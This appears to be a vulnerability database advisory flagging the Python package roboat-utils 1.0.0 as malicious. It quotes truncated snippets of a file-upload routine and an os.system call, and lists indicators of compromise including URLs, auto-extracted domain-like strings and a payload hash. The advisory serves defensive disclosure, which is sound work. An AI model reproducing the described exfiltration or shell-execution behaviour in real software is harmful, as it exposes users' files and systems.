VDB
GCVE-110-OSM-2026-1562
GCVE-110-OSM-2026-1562
Advisory PublishedCVSS 8.8/10
Malicious package detected. Behaviors: data exfiltration, code execution.
Payload: roboat_utils/publish.py
Key findings:
- Python File Upload to Remote in roboat_utils/publish.py: "open(file_path, "rb") as f:
file_data = f.read()
r = reques..."
- Shell Command Execution in roboat_utils/session.py: "os.system("
IOCs:
- urls: https://roboat.pro, https://www.roboat.pro/docs, https://capsule-render.vercel.app/api?type=waving&color=0:E3342F, https://readme-typing-svg.demolab.com?font=Fira+Code&weight=600&size=20&pause=800&color=E3342F¢er=true&vCenter=true&width=650&lines=OAuth+2.0+%E2%80%94+No+Cookie+Required;Typed+Models+for+Every+API+Response;Async+%2B+Sync+Clients+Built+In;SQLite+Database+Layer+Included;Open+Cloud+%2B+DataStore+Support;Real-time+Event+System;Marketplace+%26+RAP+Tracking+Tools;Interactive+Terminal+REPL;Production+Ready+%F0%9F%9A%80, http://proxy:8080 (+1 more)
- domains: user.id, group.id, game.id, self.CLOUD, 2Froblox.com (+9 more)
- payloadFileHash: a840640f09eb78a1442fe73c38ce1b7aa930fec6d31d08261c4437ba62edb2e9
Weaknesses (CWE)
CWE-506Embedded Malicious Code
Risk Scores
CVSS 3.1
8.8/10
High · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Affected Products
| Vendor | Product | Versions | Platforms |
|---|---|---|---|
| unknown | roboat-utils | 1.0.0 (affected) | — |
Aliases
Browse GCVE Records
73,443 records in the GCVE database · Updated July 18, 2026
No matching records found.
Explore Further
Investigate this vulnerability in the interactive console or download the raw GCVE record.